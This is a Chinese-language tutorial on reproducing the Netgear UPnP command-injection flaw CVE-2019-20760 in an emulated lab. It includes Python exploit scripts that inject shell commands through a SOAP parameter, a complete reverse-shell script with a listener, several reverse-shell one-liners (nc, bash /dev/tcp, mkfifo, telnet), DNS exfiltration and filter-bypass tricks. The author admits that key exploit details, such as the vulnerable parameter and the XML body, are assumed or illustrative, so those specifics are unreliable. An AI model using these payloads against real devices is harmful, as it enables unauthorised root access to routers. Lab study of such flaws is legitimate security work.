从Netgear路由器漏洞CVE-2019-20760学习UPnP服务安全与命令注入实战
1. 项目概述:从零开始理解一个经典的路由器漏洞
最近在整理一些老漏洞的复现笔记,发现Netgear这个CVE-2019-20760虽然过去几年了,但作为学习嵌入式设备漏洞挖掘和远程命令执行的入门案例,依然非常有价值。这个漏洞本质上是Netgear多款路由器在UPnP服务中的一个认证绕过导致的远程代码执行,攻击者无需任何身份验证,就能通过网络向设备发送特制的HTTP请求,最终在路由器上以root权限执行任意命令。听起来很吓人对吧?其实对于想入门硬件安全、IoT安全或者Web漏洞挖掘的朋友来说,这是一个绝佳的“练手靶子”。它不像一些复杂的链式漏洞,原理相对直接,影响范围又很广(波及数十款Netgear路由器型号),复现过程能让你完整地走一遍漏洞分析、环境搭建、利用脚本编写和验证的流程。今天,我就以一个新手的视角,带你一步步把这个漏洞“挖”出来,过程中我会穿插解释每一步背后的“为什么”,以及我踩过的那些坑。
2. 漏洞核心原理与影响范围深度拆解
2.1 UPnP服务与SOAP协议:漏洞的温床
要理解CVE-2019-20760,首先得知道UPnP(通用即插即用)是干什么的。简单来说,它是一套让设备在局域网内自动发现、配置并通信的网络协议。比如,你家里的智能电视要找到NAS里的电影,或者游戏主机为了获得更好的联机体验需要自动在路由器上开个端口,背后经常有UPnP在帮忙。路由器上的UPnP服务通常会开启一个Web服务(常见端口是5000或80),监听局域网内的请求。
这些请求很多是通过SOAP协议传输的。SOAP你可以理解为一种用XML格式封装数据、通过HTTP发送的“远程调用指令”。设备A告诉设备B:“请执行XXX函数,参数是YYY”。在Netgear路由器的UPnP实现中,就有一个用于处理SOAP请求的CGI程序,路径通常是/soap.cgi。漏洞的根源,就出在这个CGI程序对用户输入的处理逻辑上。它没有对调用者进行严格的权限校验,就允许执行一些高权限的操作。
2.2 认证绕过与命令注入:漏洞的两段式攻击
这个漏洞的利用可以分为两个关键阶段,理解这个对后续编写利用脚本至关重要。
第一阶段:认证绕过。攻击者向/soap.cgi发送一个SOAP请求,试图调用一个名为DeviceConfig的服务。正常情况下,这类涉及设备配置的操作应该需要管理员密码。但是,Netgear这个CGI在处理请求时,存在一个逻辑缺陷。它可能只检查了请求的某个部分(比如HTTP头中的某个字段)是否看起来像来自“内部网络”,或者其校验逻辑可以被精心构造的请求绕过。攻击者通过构造特定的SOAP Action和XML数据体,就能骗过检查,让路由器认为这是一个合法的、已授权的内部请求。
第二阶段:命令注入。在成功绕过认证、调用到DeviceConfig服务后,该服务有一个功能是备份或恢复配置文件。这个功能会调用系统命令来处理配置文件。问题在于,用户可控的输入(比如配置文件名或其中的某些参数)在拼接进系统命令时,没有经过有效的过滤或转义。攻击者可以在参数中插入分号;、反引号 ``` 或管道符|等Shell元字符,将额外的恶意命令“注入”到原本合法的命令序列中。由于UPnP服务通常以root权限运行,这些注入的命令也就以最高权限执行了。
影响范围:根据公开的漏洞公告,受影响的设备型号非常多,包括但不限于R6400、R6700、R7000、R8000等多个系列的路由器,且影响其多个固件版本。这意味着在漏洞公开时,有大量设备暴露在风险中。即便在今天,一些没有及时更新固件的旧设备可能依然存在风险。
注意:所有漏洞复现和学习都必须在自己完全可控的合法实验环境中进行,例如使用虚拟机搭建的靶机、自己购买并拥有所有权的二手设备。绝对禁止对任何非自己所有的网络设备进行测试,这是法律和道德的底线。
3. 复现环境搭建与靶机准备
3.1 选择与获取漏洞固件
复现的第一步是找到一个存在漏洞的固件版本。我们可以从Netgear的官方支持网站下载历史固件。以Netgear R7000为例,我们需要找到在漏洞修复之前发布的版本。通过查询CVE详情和Netgear的安全公告,可以确定影响版本,例如R7000固件版本早于1.0.9.88的都可能受影响。
- 确定型号与版本:我们选择Netgear R7000作为靶机型号,因为它非常常见,资料也多。目标固件版本定为
1.0.9.42,这是一个已知受影响的版本。 - 下载固件:访问Netgear官网,进入R7000的支持页面,在“固件”部分通常会有“旧版本”或“归档”的链接。找到
1.0.9.42版本的.chk格式固件文件并下载。如果官网已移除,可以在一些合法的开源漏洞数据库或镜像站(如Vulhub、Exploit-DB的镜像)寻找,务必注意文件来源的安全性。 - 验证固件完整性:下载后,如果官网提供了MD5或SHA256校验值,务必进行比对,确保文件未被篡改。
3.2 使用模拟器运行路由器固件
我们不可能为了学习每次都去买个真路由器刷机,这时候固件模拟工具就是神器。Firmadyne和QEMU是常用的组合,但它们搭建过程比较复杂。对于新手,我强烈推荐使用AttifyOS或Docker化的模拟环境,这会省去大量配置依赖的麻烦。
这里我以使用一个预配置好的Docker镜像为例,这个镜像已经集成了QEMU和必要的网络配置,可以模拟运行MIPS架构的路由器固件。
# 1. 首先确保你的系统安装了Docker docker --version # 2. 拉取一个用于固件模拟的Docker镜像(示例,具体镜像名可能随时间变化,需查找最新) # 假设我们使用一个名为 `firmware-analysis-plus` 的镜像 docker pull attify/firmware-analysis-toolkit:latest # 3. 运行容器,并将下载的固件文件挂载进去 docker run -it --rm \ -v /path/to/your/firmware/Netgear-R7000-V1.0.9.42.chk:/firmware/image.chk \ --privileged \ --network host \ attify/firmware-analysis-toolkit /bin/bash进入容器后,通常会有内置的脚本(如fat.py)来解压和启动固件模拟。这个过程会自动解包固件、识别架构(这里是MIPS)、配置网络桥接,并启动一个QEMU虚拟机来运行路由器的操作系统。
# 在容器内部执行 cd /tools python3 fat.py /firmware/image.chk脚本运行后,它会给出模拟系统的IP地址(通常是192.168.0.1或192.168.1.1)以及一个用于交互的调试端口。现在,你就可以通过浏览器或curl命令访问http://<模拟IP>,看到路由器的Web管理界面了。UPnP服务也会随之运行。
实操心得:模拟器环境最大的“坑”在于网络配置。如果无法从宿主机访问模拟的路由器IP,可能是网络桥接没成功。可以尝试在Docker run命令中使用
--network bridge,并手动查看容器和QEMU虚拟机的IP。另一个常见问题是固件文件系统解压失败,可能是因为固件格式或加密问题。对于Netgear的.chk文件,有时需要先用binwalk工具手动解压,提取出文件系统后再用QEMU加载内核和文件系统。这个过程稍复杂,但网上有详细的针对Netgear固件的教程。
4. 漏洞利用脚本编写与详细分析
理解了原理,搭建了环境,接下来就是动手写利用代码了。我们使用Python编写PoC(概念验证)脚本。
4.1 构造认证绕过的SOAP请求
首先,我们需要构造一个能绕过认证的SOAP请求包。通过分析公开的漏洞细节或已有的PoC,我们知道需要向/soap.cgi发送一个POST请求。
import requests import sys def exploit(target_ip): url = f"http://{target_ip}:5000/soap.cgi" # 关键的SOAP Action头部,指向存在问题的DeviceConfig服务 headers = { 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin', 'Content-Type': 'text/xml; charset="utf-8"' } # SOAP请求体,这里是一个简化的示例。实际利用中,body需要精心构造以触发漏洞路径。 # 注意:以下XML Body仅为示意,真实利用的XML结构可能更复杂,需要包含特定的参数。 soap_body = """<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:SOAPLogin xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1"> <Username>admin</Username> <!-- 密码字段可能被忽略或可利用 --> <Password>password</Password> <!-- 可能还有其他用于触发命令注入的参数 --> </u:SOAPLogin> </s:Body> </s:Envelope>""" try: response = requests.post(url, headers=headers, data=soap_body, timeout=10) print(f"[*] 发送请求到 {url}") print(f"[*] 状态码: {response.status_code}") print(f"[*] 响应头:\n{response.headers}") print(f"[*] 响应内容:\n{response.text[:500]}") # 只打印前500字符 except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) != 2: print(f"用法: {sys.argv[0]} <目标IP>") sys.exit(1) target = sys.argv[1] exploit(target)为什么这么构造?
SOAPAction头是UPnP服务识别要调用哪个函数的关键。这里我们指定了DeviceConfig:1服务下的SOAPLogin动作。虽然叫Login,但在这个漏洞上下文中,它是触发漏洞链的入口点之一。- Content-Type必须设置为
text/xml。 - XML Body的结构需要符合设备预期的格式。早期的PoC可能利用的是
SOAPLogin,但根据更深入的分析,实际触发命令注入的可能是在后续调用其他函数(如GetDeviceConfig或SetDeviceConfig)时,在某个参数(如NewConfigFile)中注入命令。因此,你可能需要发送多个连续的SOAP请求来完成利用。
4.2 注入恶意命令并获取执行结果
仅仅绕过认证还不够,我们的目标是执行命令。假设漏洞点在于备份功能的一个参数,我们可以构造注入命令的XML。
import requests import sys from urllib.parse import quote def execute_command(target_ip, command): url = f"http://{target_ip}:5000/soap.cgi" # 注入命令。例如,将命令嵌入到某个参数值中。 # 假设漏洞参数是 `NewConfigFile`,我们可以使用 `;` 来分隔命令。 # 注意:需要对XML中的特殊字符进行转义或使用CDATA块。 injected_payload = f"legit_config;{command};echo" soap_body = f"""<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:SetDeviceConfig xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1"> <NewConfigFile>{injected_payload}</NewConfigFile> <!-- 可能还需要其他必要参数 --> </u:SetDeviceConfig> </s:Body> </s:Envelope>""" headers = { 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDeviceConfig', 'Content-Type': 'text/xml; charset="utf-8"' } try: response = requests.post(url, headers=headers, data=soap_body, timeout=10) # 命令执行的结果可能直接返回在响应中,也可能需要通过其他方式读取(如发起另一个请求读取文件) if response.status_code == 200: # 尝试从响应中提取命令输出 print(f"[+] 请求成功。响应中可能包含命令输出:") print(response.text) else: print(f"[-] 请求失败,状态码: {response.status_code}") except Exception as e: print(f"[!] 发生错误: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"用法: {sys.argv[0]} <目标IP> <要执行的命令>") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] execute_command(target, cmd)关键点解析:
- 注入点定位:这是最困难的一步。你需要通过逆向工程或动态调试(如果模拟环境支持),找到用户输入最终被拼接到
system()或popen()等函数调用的具体位置。公开的Exp可能会直接给出参数名(如NewConfigFile),但在其他漏洞中,你需要自己寻找。 - 命令分隔符:在Unix-like系统(路由器系统通常是BusyBox)中,分号
;、换行符\n、逻辑运算符&&、||以及反引号 ``` 都可以用来注入新命令。需要测试目标环境接受哪一种。 - 输出获取:命令执行了,但怎么看到结果?有几种方式:
- 回显到HTTP响应:如果命令输出被直接捕获并返回在SOAP响应XML中,那最简单。
- 写入Web目录文件:执行类似
ls -la > /www/test.txt的命令,然后通过浏览器访问http://<target>/test.txt查看。 - 反向Shell:最强大的方式。让路由器主动连接你的监听服务器。例如,使用
nc或bash创建反向Shell:bash -i >& /dev/tcp/<你的IP>/<端口> 0>&1。但这要求目标系统有相应的工具(Netgear路由器通常有nc)。 - DNS外带数据:通过
ping或nslookup将命令结果作为域名的一部分发送到你的DNS服务器,用于无回显的盲注场景。
4.3 编写一个完整的反向Shell利用脚本
下面是一个更完整、更自动化的PoC示例,它尝试建立反向Shell。
#!/usr/bin/env python3 import requests import sys import time import socket import threading def check_vulnerable(target_ip): """初步检测目标是否存在漏洞(通过识别特定服务或版本)""" try: r = requests.get(f"http://{target_ip}:5000", timeout=5) if "Netgear" in r.text or "UPnP" in r.headers.get('Server', ''): print(f"[+] 目标 {target_ip} 可能运行Netgear UPnP服务") return True except: pass return False def send_payload(target_ip, lhost, lport): """发送构造好的SOAP请求,注入反向Shell命令""" url = f"http://{target_ip}:5000/soap.cgi" # 反向Shell命令。这里使用nc(netcat),因为很多嵌入式系统都有busybox版的nc。 # 选项 -e /bin/sh 在某些nc版本中可用。如果不支持,可以尝试其他方法,如使用bash或telnet。 reverse_shell_cmd = f"nc {lhost} {lport} -e /bin/sh" # 或者使用bash: `bash -i >& /dev/tcp/{lhost}/{lport} 0>&1` # 构造注入的payload。假设漏洞参数是NewConfigFile,使用分号注入。 # 注意:XML中需要对特殊字符进行转义,或者使用CDATA区。 payload = f"valid_config;{reverse_shell_cmd};echo 'done'" soap_body = f"""<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:SetDeviceConfig xmlns:u="urn:NETGEAR-ROUTER:service:DeviceConfig:1"> <NewConfigFile><![CDATA[{payload}]]></NewConfigFile> </u:SetDeviceConfig> </s:Body> </s:Envelope>""" headers = { 'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetDeviceConfig', 'Content-Type': 'text/xml; charset="utf-8"' } print(f"[*] 向 {target_ip} 发送注入请求...") try: resp = requests.post(url, headers=headers, data=soap_body, timeout=15) print(f"[*] 注入请求完成,状态码: {resp.status_code}") # 即使返回200,命令也可能已执行。成功与否取决于反向Shell是否连接。 except Exception as e: print(f"[!] 发送payload失败: {e}") def start_listener(lport): """在本地启动一个TCP监听器,等待反向Shell连接""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(('0.0.0.0', lport)) s.listen(5) print(f"[*] 在端口 {lport} 上启动监听器...") conn, addr = s.accept() print(f"[+] 收到来自 {addr[0]}:{addr[1]} 的连接!") print("[+] 获得反向Shell!输入命令(输入 'exit' 退出):") # 简单的交互循环 while True: cmd = input("$ ") if cmd.strip().lower() == 'exit': conn.send(b'exit\n') break if cmd: conn.send(cmd.encode() + b'\n') # 接收输出(这里简化处理,实际可能需要多线程处理) time.sleep(0.5) output = conn.recv(4096).decode('utf-8', errors='ignore') if output: print(output, end='') conn.close() except Exception as e: print(f"[!] 监听器错误: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) != 4: print(f"用法: {sys.argv[0]} <目标IP> <你的IP> <监听端口>") print(f"示例: {sys.argv[0]} 192.168.1.1 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = int(sys.argv[3]) if not check_vulnerable(target): print(f"[-] 目标 {target} 可能不脆弱或无法访问") # 即使检测不到,也可以尝试攻击,因为服务可能运行在非标准端口 # 启动监听线程 listener_thread = threading.Thread(target=start_listener, args=(lport,)) listener_thread.daemon = True listener_thread.start() time.sleep(2) # 给监听器一点时间启动 # 发送攻击payload send_payload(target, lhost, lport) # 等待一段时间看是否连接成功 print("[*] 等待反向Shell连接(最长30秒)...") time.sleep(30) print("[-] 超时,可能未成功。请检查:") print(" 1. 目标IP和端口是否正确?") print(" 2. 你的防火墙是否允许入站连接?") print(" 3. payload中的命令是否适用于目标系统(如nc是否有-e选项)?") print(" 4. 漏洞参数或SOAP Action是否正确?")5. 复现过程中的常见问题与深度排查
即使按照步骤来,复现过程也绝不会一帆风顺。下面是我在多次复现中遇到的一些典型问题及解决方法。
5.1 模拟环境网络不通
问题现象:宿主机无法ping通或访问QEMU模拟出的路由器IP(如192.168.0.1)。
排查思路:
- 检查容器网络模式:如果使用Docker,
--network host模式最简单,容器直接使用宿主机的网络栈,模拟的路由器IP应该能在宿主机直接访问。如果使用bridge模式,需要做端口映射(如-p 5000:5000)。 - 检查QEMU网络配置:运行模拟器的脚本通常会创建一个虚拟网卡(如
tap0)并配置桥接。在宿主机上运行ifconfig或ip addr,查看是否有tap0或br0这样的接口。 - 查看模拟器启动日志:仔细阅读
fat.py或类似脚本的输出,它会告诉你给虚拟机分配的IP地址。有时分配的IP可能不是常见的网段。 - 关闭宿主机的防火墙:临时关闭宿主机防火墙(
sudo ufw disable或sudo systemctl stop firewalld)以排除干扰。 - 使用ARP扫描:在宿主机上使用
arp-scan -l或nmap -sn <网段>,查看是否有未知设备出现。
5.2 SOAP请求返回错误或超时
问题现象:发送PoC请求后,返回HTTP 500内部错误、404未找到,或者直接超时。
排查步骤:
- 确认服务端口:UPnP服务不一定在5000端口。用
nmap -sV -p- <target_ip>扫描目标开放的所有端口,寻找运行着MiniUPnPd或类似标识的服务。 - 验证SOAP端点路径:路径
/soap.cgi也可能不同。可以尝试访问/根目录,或者用dirb、gobuster等工具扫描常见的CGI路径(如/cgi-bin/下的文件)。 - 分析错误响应:HTTP 500错误可能包含详细的SOAP错误信息在响应体中,仔细阅读这些XML错误信息,可能告诉你缺少哪个参数,或者哪个参数格式不对。
- 使用正确的方法和头部:确保是
POST请求,Content-Type和SOAPAction头部完全正确。SOAPAction头的格式非常严格,多一个空格或少一个引号都可能导致失败。最好从设备固件中逆向提取出准确的字符串。 - 检查XML格式:将你的SOAP Body粘贴到在线的XML格式校验器中,确保没有语法错误。注意特殊字符的转义,或者使用
<![CDATA[ ]]>包裹可能包含特殊字符的payload。
5.3 命令注入成功但无回显(盲注)
问题现象:脚本显示发送成功(HTTP 200),但反向Shell没有连接,也没有其他明显的成功迹象。
排查与利用技巧:
- 验证命令是否执行:尝试注入一个会产生明显侧信道效果的命令。
- 延时命令:注入
sleep 5。如果请求响应时间明显增加了5秒,说明命令执行了。 - DNS外带:注入
nslookupwhoami.your-dns-server.com或ping -c 1hostname.your-dns-server.com。在你的DNS服务器日志中查看收到的查询,如果包含命令输出(如root),则证明注入成功且可外带数据。 - 写入可访问文件:注入
echo 'test' > /www/test.txt,然后尝试用浏览器访问http://<target>/test.txt。
- 延时命令:注入
- 尝试不同的命令注入语法:如果分号
;不行,试试:- 换行符:
legit_param%0aid%0a(%0a是URL编码的换行符) - 管道符:
legit_param | id - 逻辑与:
legit_param && id - 反引号:
legit_paramid`` - 子shell:
legit_param$(id)
- 换行符:
- 检查命令执行环境:注入
which nc、which bash、which telnet查看目标系统有哪些可用的工具。不同固件版本包含的工具集可能不同。 - 反向Shell的变种:如果
nc -e不可用,可以尝试其他方法建立Shell:- 使用mkfifo:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f - 使用telnet:
telnet <LHOST> <LPORT> | /bin/sh | telnet <LHOST> <LPORT+1>(需要两个监听端口) - 使用Python/Perl/PHP:如果目标系统安装了这些解释器,可以用它们创建更稳定的反向Shell。
- 使用mkfifo:
5.4 漏洞利用不稳定或仅特定版本有效
问题现象:在某个固件版本上成功,换一个稍有不同的版本就失败了。
深度分析:
- 固件差异:Netgear可能为不同型号或不同区域的设备发布了略有差异的固件。
soap.cgi这个二进制文件可能被修改了。你需要用IDA Pro或Ghidra反汇编这两个版本的CGI文件,对比处理DeviceConfig相关请求的函数逻辑,找到校验差异点。 - 参数名变化:漏洞利用的参数(如
NewConfigFile)可能在新版本中改名了,或者增加了额外的必需参数。你需要通过逆向或模糊测试来发现新的参数。 - 输入过滤增强:后续固件可能增加了简单的过滤,比如检查参数中是否包含分号或反引号。这时需要尝试更隐蔽的注入技巧,比如利用环境变量、
$IFS(内部字段分隔符)替代空格,或者使用编码绕过。 - 服务权限降低:修复版本可能将UPnP服务的运行权限从root降级为一个低权限用户,这样即使注入成功,能造成的危害也有限。注入
id命令查看当前用户权限是很好的习惯。
6. 从复现到挖掘:漏洞分析思路延伸
成功复现一个已知漏洞只是开始。通过这个案例,我们可以学习到一套分析嵌入式设备Web漏洞的方法论。
6.1 固件逆向工程入门
要真正理解漏洞,需要查看“受伤”的代码。使用binwalk提取固件文件系统后,找到/usr/bin/soap.cgi或类似的可执行文件。
# 使用binwalk提取固件 binwalk -Me Netgear-R7000-V1.0.9.42.chk # 进入提取出的文件系统目录 cd _Netgear-R7000-V1.0.9.42.chk.extracted/squashfs-root/ # 查找UPnP相关的CGI或二进制文件 find . -name "*soap*" -o -name "*upnp*" -type f -exec file {} \;找到目标文件后,可以将其拖入反汇编工具。对于MIPS架构,IDA Pro或Ghidra是首选。搜索字符串“DeviceConfig”、“NewConfigFile”、“system”、“popen”等,可以快速定位到关键函数。分析这些函数如何解析HTTP请求、提取XML参数、进行权限检查,以及最终如何将参数传递给危险函数(如system),你就能清晰地看到漏洞形成的完整链条。
6.2 动态调试技巧
静态分析有时不够直观,特别是遇到复杂的逻辑时。如果模拟环境支持(QEMU配合GDB),可以尝试动态调试。
- 在QEMU中启动gdbserver:在运行固件的QEMU命令中,添加
-g 1234参数,在1234端口开启GDB调试。 - 使用交叉编译的GDB连接:在宿主机上,使用针对MIPS架构编译的
gdb-multiarch连接上去。 - 下断点:在
system或popen函数入口,以及可能处理输入参数的函数上下断点。 - 触发请求:从外部发送构造好的恶意请求。
- 观察执行流和内存:当断点命中时,查看寄存器(如
$a0,在MIPS中常存放第一个参数)的值,看看是否是你的注入参数。单步执行,观察程序逻辑如何走到这里。
动态调试能让你亲眼看到数据是如何流动并被污染的,这对于理解漏洞和开发绕过技巧至关重要。
6.3 自动化模糊测试与漏洞挖掘
复现别人挖到的漏洞是学习,自己挖到才是本事。对于这类UPnP服务,可以尝试自动化模糊测试。
- 确定测试目标:仍然是
soap.cgi,接受XML输入。 - 生成测试用例:可以使用
wfuzz、Burp Suite Intruder或者自己写Python脚本。测试用例应包括:- 畸形XML:标签不闭合、特殊字符、超长字符串。
- 参数污染:重复的参数、非常规的参数名。
- 命令注入探针:在每一个可能的参数值中,插入
;echo test;、$(echo test)等payload。 - 路径遍历:在文件路径参数中尝试
../../../etc/passwd。
- 监控结果:监控目标设备的反应:
- HTTP响应差异:对比正常请求和异常请求的响应状态码、长度、内容。
- 侧信道:请求响应时间是否显著变长(可能执行了
sleep)? - 外部交互:设置一个DNS或HTTP监听服务器,看是否有外带数据请求。
- 崩溃监控:如果服务崩溃重启,可能发现了缓冲区溢出漏洞。在QEMU中运行设备,并监控进程状态。
这个过程需要耐心和大量的测试,但一旦发现一个未知的异常点,深入分析就可能挖到一个全新的漏洞。CVE-2019-20760的发现,很可能就始于一次对UPnP SOAP请求的异常参数测试。